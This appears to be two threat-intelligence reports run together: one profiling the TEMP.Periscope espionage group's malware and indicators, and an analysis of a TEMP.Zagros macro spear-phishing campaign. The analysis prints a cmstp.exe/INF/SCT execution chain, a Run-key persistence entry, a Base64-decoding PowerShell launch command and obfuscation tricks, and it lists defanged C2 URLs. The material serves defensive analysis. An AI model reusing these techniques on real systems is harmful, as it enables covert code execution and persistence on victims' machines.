Active since at least 2013, TEMP.Periscope has primarily focused on maritime-related targets across multiple verticals, including engineering firms, shipping and transportation, manufacturing, defense, government offices, and research universities. However, the group has also targeted professional/consulting services, high-tech industry, healthcare, and media/publishing. Identified victims were mostly found in the United States, although organizations in Europe and at least one in Hong Kong have also been affected. TEMP.Periscope overlaps in targeting, as well as tactics, techniques, and procedures (TTPs), with TEMP.Jumper, a group that also overlaps significantly with public reporting on “NanHaiShu.”

TTPs and Malware Used

In their recent spike in activity, TEMP.Periscope has leveraged a relatively large library of malware shared with multiple other suspected Chinese groups. These tools include:

  • AIRBREAK: a JavaScript-based backdoor also reported as “Orz” that retrieves commands from hidden strings in compromised webpages and actor controlled profiles on legitimate services.
  • BADFLICK: a backdoor that is capable of modifying the file system, generating a reverse shell, and modifying its command and control (C2) configuration.
  • PHOTO: a DLL backdoor also reported publicly as “Derusbi”, capable of obtaining directory, file, and drive listing; creating a reverse shell; performing screen captures; recording video and audio; listing, terminating, and creating processes; enumerating, starting, and deleting registry keys and values; logging keystrokes, returning usernames and passwords from protected storage; and renaming, deleting, copying, moving, reading, and writing to files.
  • HOMEFRY: a 64-bit Windows password dumper/cracker that has previously been used in conjunction with AIRBREAK and BADFLICK backdoors. Some strings are obfuscated with XOR x56. The malware accepts up to two arguments at the command line: one to display cleartext credentials for each login session, and a second to display cleartext credentials, NTLM hashes, and malware version for each login session.
  • LUNCHMONEY: an uploader that can exfiltrate files to Dropbox.
  • MURKYTOP: a command-line reconnaissance tool. It can be used to execute files as a different user, move, and delete files locally, schedule remote AT jobs, perform host discovery on connected networks, scan for open ports on hosts in a connected network, and retrieve information about the OS, users, groups, and shares on remote hosts.
  • China Chopper: a simple code injection webshell that executes Microsoft .NET code within HTTP POST commands. This allows the shell to upload and download files, execute applications with web server account permissions, list directory contents, access Active Directory, access databases, and any other action allowed by the .NET runtime.

The following are tools that TEMP.Periscope has leveraged in past operations and could use again, though these have not been seen in the current wave of activity:

  • Beacon: a backdoor that is commercially available as part of the Cobalt Strike software platform, commonly used for pen-testing network environments. The malware supports several capabilities, such as injecting and executing arbitrary code, uploading and downloading files, and executing shell commands.
  • BLACKCOFFEE: a backdoor that obfuscates its communications as normal traffic to legitimate websites such as Github and Microsoft's Technet portal. Used by APT17 and other Chinese cyber espionage operators.

Additional identifying TTPs include:

  • Spear phishing, including the use of probably compromised email accounts.
  • Lure documents using CVE-2017-11882 to drop malware.
  • Stolen code signing certificates used to sign malware.
  • Use of bitsadmin.exe to download additional tools.
  • Use of PowerShell to download additional tools.
  • Using C:\Windows\Debug and C:\Perflogs as staging directories.
  • Leveraging Hyperhost VPS and Proton VPN exit nodes to access webshells on internet-facing systems.
  • Using Windows Management Instrumentation (WMI) for persistence.
  • Using Windows Shortcut files (.lnk) in the Startup folder that invoke the Windows Scripting Host (wscript.exe) to execute a Jscript backdoor for persistence.
  • Receiving C2 instructions from user profiles created by the adversary on legitimate websites/forums such as Github and Microsoft's TechNet portal.

Implications

The current wave of identified intrusions is consistent with TEMP.Periscope and likely reflects a concerted effort to target sectors that may yield information that could provide an economic advantage, research and development data, intellectual property, or an edge in commercial negotiations.

As we continue to investigate this activity, we may identify additional data leading to greater analytical confidence linking the operation to TEMP.Periscope or other known threat actors, as well as previously unknown campaigns.

Indicators

File

Hash

Description

x.js

3fefa55daeb167931975c22df3eca20a

HOMEFRY, a 64-bit Windows password dumper/cracker

mt.exe

40528e368d323db0ac5c3f5e1efe4889

MURKYTOP, a command-line reconnaissance tool 

com4.js

a68bf5fce22e7f1d6f999b7a580ae477

AIRBREAK, a JavaScript-based backdoor which retrieves commands from hidden strings in compromised webpages

Historical Indicators

File

Hash

Description

green.ddd

3eb6f85ac046a96204096ab65bbd3e7e

AIRBREAK, a JavaScript-based backdoor which retrieves commands from hidden strings in compromised webpages

BGij

6e843ef4856336fe3ef4ed27a4c792b1

Beacon, a commercially available backdoor

msresamn.ttf

a9e7539c1ebe857bae6efceefaa9dd16

PHOTO, also reported as Derusbi

1024-aa6a121f98330df2edee6c4391df21ff43a33604

bd9e4c82bf12c4e7a58221fc52fed705

BADFLICK, backdoor that is capable of modifying the file system, generating a reverse shell, and modifying its command-and-control configuration

Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign

Introduction

From January 2018 to March 2018, through FireEye’s Dynamic Threat Intelligence, we observed attackers leveraging the latest code execution and persistence techniques to distribute malicious macro-based documents to individuals in Asia and the Middle East.

We attribute this activity to TEMP.Zagros (reported by Palo Alto Networks and Trend Micro as MuddyWater), an Iran-nexus actor that has been active since at least May 2017. This actor has engaged in prolific spear phishing of government and defense entities in Central and Southwest Asia. The spear phishing emails and attached malicious macro documents typically have geopolitical themes. When successfully executed, the malicious documents install a backdoor we track as POWERSTATS.

One of the more interesting observations during the analysis of these files was the re-use of the latest AppLocker bypass, and lateral movement techniques for the purpose of indirect code execution. The IP address in the lateral movement techniques was substituted with the local machine IP address to achieve code execution on the system.

Campaign Timeline

In this campaign, the threat actor’s tactics, techniques and procedures (TTPs) shifted after about a month, as did their targets. A brief timeline of this activity is shown in Figure 1.


Figure 1: Timeline of this recently observed spear phishing campaign

The first part of the campaign (From Jan. 23, 2018, to Feb. 26, 2018) used a macro-based document that dropped a VBS file and an INI file. The INI file contains the Base64 encoded PowerShell command, which will be decoded and executed by PowerShell using the command line generated by the VBS file on execution using WScript.exe. The process chain is shown in Figure 2.


Figure 2: Process chain for the first part of the campaign

Although the actual VBS script changed from sample to sample, with different levels of obfuscation and different ways of invoking the next stage of process tree, its final purpose remained same: invoking PowerShell to decode the Base64 encoded PowerShell command in the INI file that was dropped earlier by the macro, and executing it. One such example of the VBS invoking PowerShell via MSHTA is shown in Figure 3.


Figure 3: VBS invoking PowerShell via MSHTA

The second part of the campaign (from Feb. 27, 2018, to March 5, 2018) used a new variant of the macro that does not use VBS for PowerShell code execution. Instead, it uses one of the recently disclosed code execution techniques leveraging INF and SCT files, which we will go on to explain later in the blog.

Infection Vector

We believe the infection vector for all of the attacks involved in this campaign are macro-based documents sent as an email attachment. One such email that we were able to obtain was targeting users in Turkey, as shown in Figure 4:


Figure 4: Sample spear phishing email containing macro-based document attachment

The malicious Microsoft Office attachments that we observed appear to have been specially crafted for individuals in four countries: Turkey, Pakistan, Tajikistan and India. What follows is four examples, and a complete list is available in the Indicators of Compromise section at the end of the blog.

Figure 5 shows a document purporting to be from the National Assembly of Pakistan.


Figure 5: Document purporting to be from the National Assembly of Pakistan

A document purporting to be from the Turkish Armed Forces, with content written in the Turkish language, is shown in Figure 6.


Figure 6: Document purporting to be from the Turkish Armed Forces

A document purporting to be from the Institute for Development and Research in Banking Technology (established by the Reserve Bank of India) is shown in Figure 7.


Figure 7: Document purporting to be from the Institute for Development and Research in Banking Technology

Figure 8 shows a document written in Tajik that purports to be from the Ministry of Internal Affairs of the Republic of Tajikistan.


Figure 8: Document written in Tajik that purports to be from the Ministry of Internal Affairs of the Republic of Tajikistan

Each of these macro-based documents used similar techniques for code execution, persistence and communication with the command and control (C2) server.

Indirect Code Execution Through INF and SCT

This scriptlet code execution technique leveraging INF and SCT files was recently discovered and documented in February 2018. The threat group in this recently observed campaign – TEMP.Zagros – weaponized their malware using the following techniques.

The macro in the Word document drops three files in a hard coded path: C:\programdata. Since the path is hard coded, the execution will only be observed in operating systems, Windows 7 and above. The following are the three files:

  • Defender.sct – The malicious JavaScript based scriptlet file.
  • DefenderService.inf – The INF file that is used to invoke the above scriptlet file.
  • WindowsDefender.ini – The Base64 encoded and obfuscated PowerShell script.

After dropping the three files, the macro will set the following registry key to achieve persistence:

\REGISTRY\USER\SID\Software\Microsoft\Windows\CurrentVersio
   n\Run\"WindowsDefenderUpdater"
= cmstp.exe /s c:\programdata\DefenderService.inf

Upon system restart, cmstp.exe will be used to execute the SCT file indirectly through the INF file. This is possible because inside the INF file we have the following section:

[UnRegisterOCXSection]
%11%\scrobj.dll,NI,c:/programdata/Defender.sct

That section gets indirectly invoked through the DefaultInstall_SingleUser section of INF, as shown in Figure 9.


Figure 9: Indirectly invoking SCT through the DefaultInstall_SingleUser section of INF

This method of code execution is performed in an attempt to evade security products. FireEye MVX and HX Endpoint Security technology successfully detect this code execution technique.

SCT File Analysis

The code of the Defender.sct file is an obfuscated JavaScript. The main function performed by the SCT file is to Base64 decode the contents of WindowsDefender.ini file and execute the decoded PowerShell Script using the following command line:

powershell.exe -exec Bypass -c iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((get-content C:\\ProgramData\\WindowsDefender.ini)

The rest of the malicious activities are performed by the PowerShell Script.

PowerShell File Analysis

The PowerShell script employs several layers of obfuscation to hide its actual functionality. In addition to obfuscation techniques, it also has the ability to detect security tools on the analysis machine, and can also shut down the system if it detects the presence of such tools.

Some of the key obfuscation techniques used are:

  • Character Replacement: Several instances of character replacement and string reversing techniques (Figure 10) make analysis difficult.


Figure 10: Character replacement and string reversing techniques

  • PowerShell Environment Variables: Nowadays, malware authors commonly mask critical strings such as “IEX” using environment variables. Some of the instances used in this script are:
    • $eNv:puBLic[13]+$ENv:pUBLIc[5]+'x'
    • ($ENV:cOMsPEC[4,26,25]-jOin'')
  • XOR encoding: The biggest section of the PowerShell script is XOR encoded using a single byte key, as shown in Figure 11.


Figure 11: PowerShell script is XOR encoded using a single byte key

After deobfuscating the contents of the PowerShell Script, we can divide it into three sections.

Section 1

The first section of the PowerShell script is responsible for setting different key variables that are used by the remaining sections of the PowerShell script, especially the following variables:

  • TEMpPAtH = "C:\ProgramData\" (the path used for storing the temp files)
  • Get_vAlIdIP = https://api.ipify.org/ (used to get the public IP address of the machine)
  • FIlENAmePATHP = WindowsDefender.ini (file used to store Powershell code)
  • PRIVAtE = Private Key exponents
  • PUbLIc = Public Key exponents
  • Hklm = "HKLM:\Software\"
  • Hkcu = "HKCU:\Software\"
  • ValuE = "kaspersky"
  • SYSID
  • DrAGon_MidDLe = [array of proxy URLs]

Among those variables, there is one variable of particular interest, DrAGon_MidDLe, which stores the list of proxy URLs (detailed at the end of the blog in the Network Indicators portion of the Indicators of Compromise section) that will be used to interact with the C2 server, as shown in Figure 12.


Figure 12: DrAGon_MidDLe stores the list of proxy URLs used to interact with C2 server

Section 2

The second section of the PowerShell script has the ability to perform encryption and decryption of messages that are exchanged between the system and the C2 server. The algorithm used for encryption and decryption is RSA, which leverages the public and private key exponents included in Section 1 of the PowerShell script.

Section 3

The third section of the PowerShell script is the biggest section and has a wide variety of functionalities.

During analysis, we observed a code section where a message written in Chinese and hard coded in the script will be printed in the case of an error while connecting to the C2 server:

The English translation for this message is: “Cannot connect to website, please wait for dragon”.

Other functionalities provided by this section of the PowerShell Script are as follows:

  • Retrieves the following data from the system by leveraging Windows Management Instrumentation (WMI) queries and environment variables:
    • IP Address from Network Adapter Configuration
    • OS Name
    • OS Architecture
    • Computer Name
    • Computer Domain Name
    • Username

All of this data is concatenated and formatted as shown in Figure 13:


Figure 13: Concatenated and formatted data retrieved by PowerShell script

  • Register the victim’s machine to the C2 server by sending the REGISTER command to the server. In response, if the status is OK, then a TOKEN is received from the C2 server that is used to synchronize the activities between the victim’s machine and the C2 server.

While sending to the C2 server, the data is formatted as follows:

@{SYSINFO  = $get.ToString(); ACTION = "REGISTER";}

  • Ability to take screenshots.
  • Checks for the presence of security tools (detailed in the Appendix) and if any of these security tools are discovered, then the system will be shut down, as shown in Figure 14.


Figure 14: System shut down upon discovery of security tools

  • Ability to receive PowerShell script from the C2 server and execute on the machine. Several techniques are employed for executing the PowerShell code:
    • If command starts with “excel”, then it leverages DDEInitiate Method of Excel.Appilcation to execute the code: 
    • If the command starts with “outlook”, then it leverages Outlook.Application and MSHTA to execute the code: 
    • If the command starts with “risk”, then execution is performed through DCOM object: 
  • File upload functionality.
  • Ability to disable Microsoft Office Protected View (as shown in Figure 15) by setting the following keys in the Windows Registry:
    • DisableAttachmentsInPV
    • DisableInternetFilesInPV
    • DisableUnsafeLocationsInPV


Figure 15: Disabling Microsoft Office Protected View

  • Ability to remotely reboot or shut down or clean the system based on the command received from the C2 server, as shown in Figure 16.


Figure 16: Reboot, shut down and clean commands

  • Ability to sleep for a given number of seconds.

The following table summarizes the main C2 commands supported by this PowerShell Script.

C2 Command

Purpose

reboot

Reboot the system using shutdown command

shutdown

Shut down the system using shutdown command

clean

Wipe the Drives, C:\, D:\, E:\, F:\

screenshot

Take a screenshot of the System

upload

Encrypt and upload the information from the system

excel

Leverage Excel.Application COM object for code execution

outlook

Leverage Outlook.Application COM object for code execution

risk

Leverage DCOM object for code execution

Conclusion

This activity shows us that TEMP.Zagros stays up-to-date with the latest code execution and persistence mechanism techniques, and that they can quickly leverage these techniques to update their malware. By combining multiple layers of obfuscation, they deter the process of reverse engineering and also attempt to evade security products.

Users can protect themselves from such attacks by disabling Office macros in their settings and also by being more vigilant when enabling macros (especially when prompted) in documents, even if such documents are from seemingly trusted sources.

Indicators of Compromise

Macro based Documents and Hashes

SHA256 Hash

Filename

Targeted Region

eff78c23790ee834f773569b52cddb01dc3c4dd9660f5a476af044ef6fe73894

na.doc

 

Pakistan

76e9988dad0278998861717c774227bf94112db548946ef617bfaa262cb5e338

Invest in Turkey.doc

Turkey

6edc067fc2301d7a972a654b3a07398d9c8cbe7bb38d1165b80ba4a13805e5ac

güvenlik yönergesi. .doc

Turkey

009cc0f34f60467552ef79c3892c501043c972be55fe936efb30584975d45ec0

idrbt.doc

 

India

18479a93fc2d5acd7d71d596f27a5834b2b236b44219bb08f6ca06cf760b74f6

Türkiye Cumhuriyeti Kimlik Kartı.doc

Turkey

3da24cd3af9a383b731ce178b03c68a813ab30f4c7c8dfbc823a32816b9406fb

Turkish Armed Forces.doc

 

Turkey

9038ba1b7991ff38b802f28c0e006d12d466a8e374d2f2a83a039aabcbe76f5c

na.gov.pk.doc

 

Pakistan

3b1d8dcbc8072b1ec10f5300c3ea9bb20db71bd8fa443d97332790b74584a115

MVD-FORM-1800.doc

Tajikistan

cee801b7a901eb69cd166325ed3770daffcd9edd8113a961a94c8b9ddf318c88

KEGM-CyberAttack.doc

Turkey

1ee9649a2f9b2c8e0df318519e2f8b4641fd790a118445d7a0c0b3c02b1ba942

IL-1801.doc

Turkey

aa60c1fae6a0ef3b9863f710e46f0a7407cf0feffa240b9a4661a4e8884ac627

kiyiemniyeti.doc

Turkey

93745a6605a77f149471b41bd9027390c91373558f62058a7333eb72a26faf84

TCELL-S1-M.doc

Tajikistan

c87799cce6d65158da97aa31a5160a0a6b6dd5a89dea312604cc66ed5e976cc9

egm-1.doc

Turkey

2cea0b740f338c513a6390e7951ff3371f44c7c928abf14675b49358a03a5d13

Connectel .pk.doc

Pakistan

18cf5795c2208d330bd297c18445a9e25238dd7f28a1a6ef55e2a9239f5748cd

gßvenlik_yÜnergesi_.doc

Turkey

153117aa54492ca955b540ac0a8c21c1be98e9f7dd8636a36d73581ec1ddcf58

MIT.doc

Turkey

d07d4e71927cab4f251bcc216f560674c5fb783add9c9f956d3fc457153be025

Gvenlik Ynergesi.doc

Turkey

af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102

Gvenlik Ynergesi.doc

Turkey

5550615affe077ddf66954edf132824e4f1fe16b3228e087942b0cad0721a6af

NA

Turkey

3d96811de7419a8c090a671d001a85f2b1875243e5b38e6f927d9877d0ff9b0c

Anadolu Güneydoğu Projesinde .doc

Turkey

Network Indicators

List of Proxy URLs

hxxp://alessandrofoglino[.]com//db_template.php

hxxp://www.easy-home-sales[.]co.za//db_template.php

hxxp://www.almaarefut[.]com/admin/db_template.php

hxxp://chinamall[.]co.za//db_template.php

hxxp://amesoulcoaching[.]com//db_template.php

hxxp://www.antigonisworld[.]com/wp-includes/db_template.php

hxxps://anbinni.ba/wp-admin/db_template.php

hxxp://arctistrade[.]de/wp/db_template.php

hxxp://aianalytics[.]ie//db_template.php

hxxp://www.gilforsenate[.]com//db_template.php

hxxp://mgamule[.]co.za/oldweb/db_template.php

hxxp://chrisdejager-attorneys[.]co.za//db_template.php

hxxp://alfredocifuentes[.]com//db_template.php

hxxp://alxcorp[.]com//db_template.php

hxxps://www.aircafe24[.]com//db_template.php

hxxp://agencereferencement.be/wp-admin/db_template.php

hxxp://americanlegacies[.]org/webthed_ftw/db_template.php

hxxps://aloefly[.]net//db_template.php

hxxp://www.duotonedigital[.]co.za//db_template.php

hxxp://architectsinc[.]net//db_template.php

hxxp://www.tanati[.]co.za//db_template.php

hxxp://emware[.]co.za//db_template.php

hxxp://breastfeedingbra[.]co.za//db_template.php

hxxp://alhidayahfoundation[.]co[.]uk/category/db_template.php

hxxp://cashforyousa[.]co.za//db_template.php

hxxps://www.airporttaxi-uk[.]co[.]uk/wp-includes/db_template.php

hxxp://antjetaubert[.]de//db_template.php

hxxp://hesterwebber[.]co.za//db_template.php

hxxp://fickstarelectrical[.]co.za//db_template.php

hxxp://alex-frost[.]com/assets/db_template.php

hxxps://americanbrasil[.]com.br//db_template.php

hxxps://aileeshop[.]com//db_template.php

hxxps://annodle[.]com//db_template.php

hxxp://goldeninstitute[.]co.za/contents/db_template.php

hxxp://ednpk[.]com//db_template.php

hxxp://www.arabiccasinochoice[.]com//db_template.php

hxxp://proeventsports[.]co.za//db_template.php

hxxp://glenbridge[.]co.za//db_template.php

hxxp://berped[.]co.za//db_template.php

hxxp://best-digital-slr-cameras[.]com//db_template.php

hxxp://antonhirvonen[.]com/pengalandet.se/wp-includes/db_template.php

hxxp://www.alpacal[.]com//db_template.php

hxxps://www.alakml[.]com/wp-admin/db_template.php

hxxp://ar-rihla[.]com//db_template.php

hxxp://appsvoice[.]info//db_template.php

hxxp://www.bashancorp[.]co.za//db_template.php

hxxp://alexanderbecker[.]net/services/db_template.php

hxxp://visionclinic.co.ls/visionclinic/db_template.php

hxxps://www.angelesrevista[.]com//db_template.php

hxxps://www.antojoentucocina[.]com//db_template.php

hxxp://apollonweb[.]com//db_template.php

hxxps://www.alphapixa[.]com//db_template.php

hxxp://capitalradiopetition[.]co.za//db_template.php

hxxp://www.generictoners[.]co.za//db_template.php

hxxps://alnahdatraining[.]com//db_template.php

hxxps://albousala[.]com//db_template.php

hxxps://www.dopetroleum[.]com//db_template.php

hxxp://bios-chip[.]co.za//db_template.php

hxxp://www.crissamconsulting[.]co.za//db_template.php

hxxp://capriflower[.]co.za//db_template.php

hxxp://www.dingaanassociates[.]co.za//db_template.php

hxxp://indiba-africa[.]co.za//db_template.php

hxxp://verifiedseller[.]co.za/js/db_template.php

hxxps://www.buraqlubricant[.]com//db_template.php

hxxp://aqarco[.]com/wp-admin/db_template.php

hxxp://allaboutblockchain[.]net//db_template.php

hxxp://www.amexcars[.]info/tpl/db_template.php

hxxp://clandecor[.]co.za/rvsUtf8Backup/db_template.php

hxxp://bakron[.]co.za//db_template.php

hxxp://gsnconsulting[.]co.za//db_template.php

hxxp://vumavaluations[.]co.za//db_template.php

hxxp://heritagetravelmw[.]com//db_template.php

hxxp://ampvita[.]com//db_template.php

hxxp://ahero-resource-center[.]org/administrator/db_template.php

hxxps://arbulario[.]com//db_template.php

hxxp://havilahglo[.]co.za/wpscripts/db_template.php

hxxp://www.bestdecorativemirrors[.]com/More-Mirrors/db_template.php

hxxp://delectronics[.]com[.]pk//db_template.php

hxxp://antucomp[.]com//db_template.php

hxxp://advocatetn[.]com/font-awesome/fonts/db_template.php

hxxps://amooy[.]com/webservice/db_template.php

hxxp://www.harmonyguesthouse[.]co.za//db_template.php

hxxp://alanrori[.]com//db_template.php

hxxp://algarvesup[.]com//db_template.php

hxxp://desirablehair[.]co.za//db_template.php

hxxp://comsip[.]org.mw//db_template.php

hxxp://jdcorporate[.]co.za/catalog/db_template.php

hxxp://andrewfinnburhoe[.]com//db_template.php

hxxp://anyeva[.]com/wp-includes/db_template.php

hxxp://www.agenceuhd[.]com//db_template.php

hxxp://host4unix[.]net/host24new/db_template.php

hxxp://www.altaica[.]ca/wordpress/db_template.php

hxxp://www.allbuyer[.]co[.]uk//db_template.php

hxxp://jvpsfunerals[.]co.za//db_template.php

hxxp://immaculatepainters[.]co.za//db_template.php

hxxp://tcpbereka[.]co.za/js/db_template.php

hxxp://clientcare.co.ls//db_template.php

hxxp://investaholdings[.]co.za/htc/db_template.php

hxxp://www.amjobs[.]co[.]uk//db_template.php

hxxp://www.agirlgonewine[.]com/store/db_template.php

hxxp://findinfo-more[.]com//db_template.php

hxxp://asgen[.]org//db_template.php

hxxp://alphasalesrecruitment[.]com//db_template.php

hxxp://irshadfoundation[.]co.za//db_template.php

hxxp://analternatif[.]com/includes/db_template.php

hxxp://arbruisseau[.]com/profiles/db_template.php

hxxp://ladiescircle[.]co.za//db_template.php

hxxp://all-reseller[.]com/zzz_backup/db_template.php

hxxp://alcatrazmoon[.]com/images/db_template.php

hxxp://www.alcalumni[.]com/wp-includes/db_template.php

hxxp://aniljoseph[.]com/servermon/db_template.php

hxxp://alwake3press[.]com/wp-includes/db_template.php

hxxp://www.hfhl[.]org.ls/habitat/db_template.php

hxxp://alcafricanos[.]com/slsmonographs/db_template.php

hxxps://agapeencounter[.]org//db_template.php

hxxp://apobiomedix[.]ca//db_template.php

hxxp://anythinglah[.]info//db_template.php

hxxp://aniroleplay[.]net//db_template.php

hxxp://www.allcopytoners[.]com//db_template.php

hxxp://alphaobring[.]com//db_template.php

hxxp://www.galwayprimary[.]co.za//db_template.php

hxxp://alnuzha[.]org/en/db_template.php

hxxps://ancient-wisdoms[.]com//db_template.php

hxxp://amazingenergysavings[.]net//db_template.php

hxxp://gvs[.]com[.]pk/font-awesome/db_template.php

hxxp://geetransfers[.]co.za/font-awesome/db_template.php

hxxp://carlagrobler[.]co.za/components/db_template.php

hxxp://amazingashwini[.]com//db_template.php

hxxp://aminearserver[.]es//db_template.php

hxxp://lensofafrica[.]co.za//db_template.php

hxxp://greenacrestf[.]co.za/video/db_template.php

hxxp://www.tonaro[.]co.za//db_template.php

hxxp://alephit2[.]biz/kitzz/db_template.php

hxxp://lppaportal[.]org.ls//db_template.php

hxxp://alkousy[.]com//db_template.php

hxxp://ambulatorioveterinariocalusco[.]com/img/common/db_template.php

hxxp://fragranceoil[.]co.za//db_template.php

hxxp://www.eloquent[.]co.za/nweb2/db_template.php

hxxp://chrishanicdc[.]org/wpimages/db_template.php

hxxp://ahc.me[.]uk//db_template.php

hxxp://www.britishasia-equip[.]co[.]uk//db_template.php

hxxp://always-beauty[.]ch//db_template.php

hxxps://www.ancamamara[.]com/wp-admin/db_template.php

hxxp://entracorntrading[.]co.za//db_template.php

hxxp://www.alexjeffersonconsulting[.]com/wp-includes/db_template.php

hxxp://americabr[.]com.br//db_template.php

hxxp://andrew-snyder[.]net/bootstrap/db_template.php

hxxp://signsoftime[.]co.za//db_template.php

hxxp://aperta-armis[.]org//db_template.php

hxxp://absfinancialplanning[.]co.za/images/db_template.php

hxxp://charispaarl[.]co.za//db_template.php

hxxp://indlovusecurity[.]co.za//db_template.php

hxxp://alcafricandatalab[.]com//db_template.php

hxxp://amor-clubhotels[.]com//db_template.php

hxxp://mokorotlocorporate[.]com//db_template.php

hxxp://apppriori[.]com//db_template.php

hxxp://luxconprojects[.]co.za//db_template.php

hxxp://androidphonetips[.]com/wp-includes/db_template.php

hxxp://angel-seeds[.]com.ua/catalog/db_template.php

hxxp://alissanicolai[.]com/assets/db_template.php

hxxps://www.amateurastronomy[.]org//db_template.php

hxxp://aiofotoevideo[.]com//db_template.php

hxxp://www.amika.hr//db_template.php

hxxp://comfortex[.]co.za/php/db_template.php

hxxp://deepgraphics[.]co.za//db_template.php

hxxps://agiledepot[.]com//db_template.php

hxxp://almatours[.]gr//db_template.php

hxxp://analystcnwang[.]com//db_template.php

hxxp://www.malboer[.]co.za/trendy1/db_template.php

hxxp://sefikengfarm.co.ls//db_template.php

hxxp://www.antirughenaturale[.]com/wp-admin/db_template.php

hxxp://passright[.]co.za//db_template.php

hxxp://seismicfactory[.]co.za//db_template.php

hxxp://alessandroalessandrini[.]it//db_template.php

hxxps://aquabsafe[.]com//db_template.php

hxxp://amatikulutours[.]com/tmp/db_template.php

hxxp://ganitis[.]gr//db_template.php

hxxp://aleenasgiftbox[.]com/admin/db_template.php

hxxps://allusdoctors[.]com/themes/db_template.php

hxxp://alainsaffel[.]com//db_template.php

hxxp://www.ariehandomri[.]com//db_template.php

hxxp://aquaneeka[.]co[.]uk/wp-includes/db_template.php

hxxp://itengineering[.]co.za/gatewaydiamond/db_template.php

hxxp://alldomains-crm[.]com/bubblegumpopcorn[.]com/wp-admin/db_template.php

hxxp://www.albertamechanical[.]ca//db_template.php

hxxp://alchamel[.]info//db_template.php

hxxps://almokan[.]net/wp-includes/db_template.php

hxxp://jakobieducation[.]co.za//db_template.php

hxxps://arc-sec[.]net//db_template.php

hxxp://ldams[.]org.ls/supplies/db_template.php

hxxp://menaboracks[.]co.za/tmp/db_template.php

hxxp://www.getcord[.]co.za//db_template.php

hxxp://boardaffairs[.]com//db_template.php

hxxp://capetownway[.]co.za//db_template.php

hxxp://cloudhostdesign[.]com//db_template.php

hxxp://hartenboswaterpark[.]co.za/templates/db_template.php

hxxp://fccorp[.]co.za/php/db_template.php

hxxp://angar68[.]com//db_template.php

hxxp://www.dws-gov[.]co.za//db_template.php

hxxp://alwahahweb[.]com//db_template.php

hxxp://anuragcreatives[.]com//db_template.php

hxxp://embali[.]co.za//db_template.php

hxxp://albertaedmonton[.]com/widgetstyles/db_template.php

hxxp://altosdefontana[.]com//db_template.php

hxxp://airfanhydro[.]net//db_template.php

hxxps://www.alexponcet[.]com/wp-includes/db_template.php

hxxp://agropecuariavilarica[.]com.br//db_template.php

hxxps://www.amazingbuyrd[.]com/admin/db_template.php

hxxp://cdxtrading[.]co.za//db_template.php

hxxp://interafricaconsulting[.]com/wpimages/db_template.php

hxxp://glgroup[.]co.za/images/db_template.php

hxxp://hisandherskennels[.]co.za/php/db_template.php

hxxp://alemaohost[.]com/lotosorg[.]com/db_template.php

hxxp://isibaniedu[.]co.za/admin/db_template.php

hxxp://dianakleyn[.]co.za/layouts/db_template.php

hxxp://themotoringcalendar[.]co.za//db_template.php

hxxp://www.loansonhomes[.]co.za//db_template.php

hxxp://edgesecurity[.]co.za/js/db_template.php

hxxp://highschoolsuperstar[.]co.za/files/db_template.php

hxxp://www.ambientproperty[.]com//db_template.php

hxxp://animationshowreel[.]co.il//db_template.php

hxxp://cafawelding[.]co.za/font-awesome/db_template.php

hxxp://apalawyers.pt//db_template.php

hxxp://www.edesignz[.]co.za//db_template.php

hxxp://centuryacademy[.]co.za/css/db_template.php

hxxps://ambyenta.hr//db_template.php

hxxp://ceramica[.]co.za//db_template.php

hxxp://www.alfredoposada[.]com//db_template.php

hxxp://anastasovsworkshop[.]com/wp-includes/db_template.php

hxxp://allisonplumbing[.]com/wp-includes/db_template.php

hxxp://eastrandmotorlab[.]co.za/fleet/db_template.php

hxxp://angelsongroup[.]com/wp-includes/db_template.php

hxxp://www.mikimaths[.]com//db_template.php

hxxp://hjb-racing[.]co.za/htdocs/db_template.php

hxxp://anotherpartofme[.]com/wp-includes/db_template.php

hxxp://www.andreabelfi[.]com//db_template.php

hxxp://www.iancullen[.]co.za//db_template.php

hxxp://alaskamaterials[.]com//db_template.php

hxxp://jeanetteproperties[.]co.za//db_template.php

hxxp://www.digitalmedia[.]co.za//db_template.php

hxxp://www.rejoicetheatre[.]com//db_template.php

hxxps://alterwebhost[.]com//db_template.php

hxxp://bc-u[.]co[.]uk//db_template.php

hxxp://dpscdgkhan.edu[.]pk/shopping/db_template.php

hxxp://edgeforensic[.]co.za//db_template.php

hxxp://willpowerpos[.]co.za//db_template.php

hxxp://antrismode[.]com/wp-includes/db_template.php

hxxp://colenesphotography[.]co.za/modules/db_template.php

hxxp://anthaigroup.vn//db_template.php

hxxps://alphainvestors[.]com.au//db_template.php

hxxps://aliart[.]nl//db_template.php

hxxps://allmantravel[.]com/thumbs/db_template.php

hxxp://fbrvolume[.]co.za//db_template.php

hxxp://amordegato[.]es/storefront/db_template.php

hxxp://agylub[.]com//db_template.php

hxxp://www.khotsonglodge.co.ls//db_template.php

hxxp://ampli5yd[.]com//db_template.php

hxxps://animeok[.]co.il//db_template.php

hxxps://arbeidsrechtcentrum[.]nl//db_template.php

hxxp://erniecommunications[.]co.za/js/db_template.php

hxxp://promechtransport[.]co.za/scripts/db_template.php

hxxp://centuriongsd[.]co.za//db_template.php

hxxp://www.agencesylvieleclerc[.]com//db_template.php

hxxp://delcom[.]co.za//db_template.php

hxxps://aleoestudio[.]com/gallonature/db_template.php

hxxp://oftheearthphotography[.]com/www/db_template.php

hxxp://h-dubepromotions[.]co.za//db_template.php

hxxp://www.alessioborzuola[.]com/downloads/db_template.php

hxxp://crystaltidings[.]co.za//db_template.php

hxxp://funeralbusinesssolution[.]com/email_template/db_template.php

hxxp://funisalodge[.]co.za/data1/db_template.php

hxxp://experttutors[.]co.za//db_template.php

hxxps://www[.]cartridgecave[.]co.za//db_template.php

hxxp://ecs-consult[.]com//db_template.php

hxxp://www.animationinisrael[.]org/tmp_images/db_template.php

hxxp://gideonitesprojects[.]com//db_template.php

hxxp://hybridauto[.]co.za/photography/db_template.php

hxxp://africanpixels.zar.cc//db_template.php

hxxp://ryanchristiefurniture[.]co.za//db_template.php

hxxp://evansmokaba[.]com/evansmokaba[.]com/thabiso/db_template.php

hxxp://almeriahotelja[.]com/dk/db_template.php

hxxp://al3abflash[.]biz//db_template.php

hxxp://www.fun4kidz[.]co.za//db_template.php

hxxp://alsharhanstore[.]com//db_template.php

hxxp://www[.]infratechconsulting[.]com//db_template.php

hxxp://algihad[.]com/assets/db_template.php

hxxp://americanwestmedia[.]com//db_template.php

